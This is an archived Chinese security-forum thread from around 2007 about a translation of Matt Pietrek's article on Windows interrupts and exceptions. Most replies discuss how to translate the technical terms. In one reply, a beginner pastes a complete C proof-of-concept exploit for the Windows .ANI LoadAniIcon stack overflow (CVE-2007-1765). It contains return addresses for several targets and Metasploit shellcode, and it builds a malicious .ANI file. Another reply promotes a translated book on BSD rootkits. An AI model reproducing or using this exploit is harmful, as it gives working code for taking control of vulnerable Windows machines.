邪恶八进制信息安全团队技术讨论组's Archiver

zhzhtst 2007-4-7 00:27

[翻译]中断和异常

译文作者:SmartTech
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

   本文是Matt Pietrek在1997年月10月的MSJ杂志Under The Hood专栏上发表的文章。中断和异常在DOS时代是整个系统的灵魂,但Windows已将其隐藏到了系统深处。Matt Pietrek详细剖析了Windows下的中断和异常及其处理机制以及内核模式与用户模式代码之间调用的问题。作者还提供了一个比较有意思的实验程序。

ve_shier 2007-4-30 04:17

大哥我是个小菜请问下面的代码有什么用的啊...不会看英文

* Copyright (c) 2007 devcode
*
*
*      ^^ D E V C O D E ^^
*
* Windows .ANI LoadAniIcon Stack Overflow
* [CVE-2007-1765]
*
*
* Description:
*  A vulnerability has been identified in Microsoft Windows,
*   which could be exploited by remote attackers to take complete
*   control of an affected system. This issue is due to a stack overflow
*  error within the "LoadAniIcon()" [user32.dll] function when rendering
*  cursors, animated cursors or icons with a malformed header, which could
*   be exploited by remote attackers to execute arbitrary commands by
*  tricking a user into visiting a malicious web page or viewing an email
*  message containing a specially crafted ANI file.
*
* Hotfix/Patch:
*  None as of this time.
*
* Vulnerable systems:
*   Microsoft Windows 2000 Service Pack 4
*   Microsoft Windows XP Service Pack 2
*   Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
*   Microsoft Windows XP Professional x64 Edition
*   Microsoft Windows Server 2003
*   Microsoft Windows Server 2003 (Itanium)
*   Microsoft Windows Server 2003 Service Pack 1
*   Microsoft Windows Server 2003 Service Pack 1 (Itanium)
*   Microsoft Windows Server 2003 x64 Edition
*   Microsoft Windows Vista
*
*   Microsoft Internet Explorer 6
*   Microsoft Internet Explorer 7
*
*  This is a PoC and was created for educational purposes only. The
*   author is not held responsible if this PoC does not work or is
*   used for any other purposes than the one stated above.
*
* Notes:
*   For this to work on XP SP2 on explorer.exe, DEP has to be turned
*   off.
*
*/
#include <iostream>
#include <windows.h>

/* ANI Header */
unsigned char uszAniHeader[] =
"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6E\x69\x68\xA8\x03\x00\x00";

/* Shellcode - metasploit exec calc.exe ^^ */
unsigned char uszShellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"
"\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"
"\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
"\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"
"\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"
"\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
"\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"
"\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"
"\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
"\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"
"\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"
"\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
"\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"
"\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"
"\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
"\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"
"\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"
"\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";

char szIntro[] =
"\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"
"\t\t\tdevcode (c) 2007\n"
"[+] Targets:\n"
"\t(1) Windows XP SP2\n"
"\t(2) Kernel32.dll (ExitProcess)\n"
"\t(3) Windows 2K SP4\n\n"
"Usage: ani.exe <target> <file>";

typedef struct {
  const char *szTarget;
  unsigned char uszRet[5];
} TARGET;

TARGET targets[] = {
  { "Windows XP SP2", "\xC9\x29\xD4\x77" },        /* call esp */
  { "Kernel32.dll (ExitProcess)", "\x90\x90\x90\x90" },  /* ExitProcess */
  { "Windows 2K SP4", "\x29\x4C\xE1\x77" }
};

int main( int argc, char **argv ) {
  char szBuffer[1024];
  FILE *f;
  void *pExitProcess[4];

  if ( argc < 3 ) {
    printf("%s\n", szIntro );
    return 0;
  }

  if ( atoi( argv[1] ) == 1 ) {
    printf("[+] Getting ExitProcess address...\n");
    *pExitProcess = GetProcAddress( GetModuleHandle( "kernel32.dll" ),
"ExitProcess" );
    if ( pExitProcess == NULL ) {
      printf("[-] Cannot get ExitProcess address\n");
      return 0;
    }
    memcpy( targets[1].uszRet, pExitProcess, 4 );
  }

  printf("[+] Creating ANI header...\n");
  memset( szBuffer, 0x90, sizeof( szBuffer ) );
  memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );

  printf("[+] Copying shellcode...\n");
  memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
  memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1 );

  f = fopen( argv[2], "wb" );
  if ( f == NULL ) {
    printf("[-] Cannot create file\n");
    return 0;
  }

  fwrite( szBuffer, 1, 1024, f );
  fclose( f );
  printf("[+] .ANI file succesfully created!\n");
  return 0;
}

// milw0rm.com [2007-03-31]

nipcdll 2007-5-9 09:08

原文地址: [url]http://www.microsoft.com/msj/1097/hood1097.aspx[/url]

lengyue07 2007-10-23 13:18

感谢楼主的翻译!
另外个人建议:
[quote]注意,对于每个异常来说,都有一个
相应的异常处理程序地址(CS:EIP)[/quote]
中断分为外部中断和内部中断,“内部中断”一般被称为“异常”。
32位CPU内部本身就有一个中断向量表来处理相应中断。
建议楼主把异常改成“中断”,把“异常处理程序地址”翻译为“中断向量”应该比较合适!

fqh 2007-10-25 20:35

[翻译]中断和异常 非常好,很和谐,大家学习!

。。
八进制的门槛太高,我发帖的级别都没有。借个回帖发布一下。普及rootkit基本理论,下面这本书比rootkit.com的那本还好
BSD ROOTKIT 设计 翻译基本完成

[url]http://bbs.chinaunix.net/thread-1005006-1-1.html[/url]

上面是下载地址。该书原版160页,“跟着例子学习”的方式全面地介绍各种rootkit技术。讲解精辟,例子精悍。比rootkit.com那本书要好。学习unix-like系统的rootkit技术,本书更是"不二"的选择。

本书绝大部分已翻完了,但是由于本人时间,能力以及人品的问题,还有小部分难的地方没翻出,而且还有错误没发现。

为了不误人子弟,造福广大网友,恳求各位高人百忙中翻完剩余部分,和对之前翻译进行校对。谢谢

联系email

[email]carlson.v@126.com[/email]

如果有修改后的翻译,请把修改部分发我 email中。我统一合并修改后更新。避免重复劳动

zhzhtst 2007-11-18 04:17

[quote]引用第3楼lengyue07于2007-10-23 13:18发表的 :
感谢楼主的翻译!
另外个人建议:

中断分为外部中断和内部中断,“内部中断”一般被称为“异常”。
32位CPU内部本身就有一个中断向量表来处理相应中断。
.......[/quote]

“对于每个异常来说,都有一个相应的异常处理程序地址(CS:EIP),控制权就是要转到这个地址。”,仁兄只顾及了那前半句话,若按仁兄的建议翻译,这整句话不容易理解,更何况原文即是如此。另外,作者在文中也提到,在本文中并不深究中断与异常的区别,我是尽量按原文翻译。

lengyue07 2008-1-5 17:35

[quote]引用第5楼zhzhtst于2007-11-18 04:17发表的 :


“对于每个异常来说,都有一个相应的异常处理程序地址(CS:EIP),控制权就是要转到这个地址。”,仁兄只顾及了那前半句话,若按仁兄的建议翻译,这整句话不容易理解,更何况原文即是如此。另外,作者在文中也提到,在本文中并不深究中断与异常的区别,我是尽量按原文翻译。[/quote]
zhzhtst兄说的是。
中断向量或异常向量~~无奈的就是计算机不是我们国人造吖,名次解释都得让我争论N次。

bfun 2008-1-9 16:42

[s:269]

shenzhenay 2008-1-15 13:45

要学的多啊, ^_^
“(CS:EIP)” lz 可以讲课了,看来还有好多是实战状况;
谢谢分享;

o97 2008-1-16 17:49

学习了...谢谢提供.

页: [1]
© 1999-2008 EvilOctal Security Team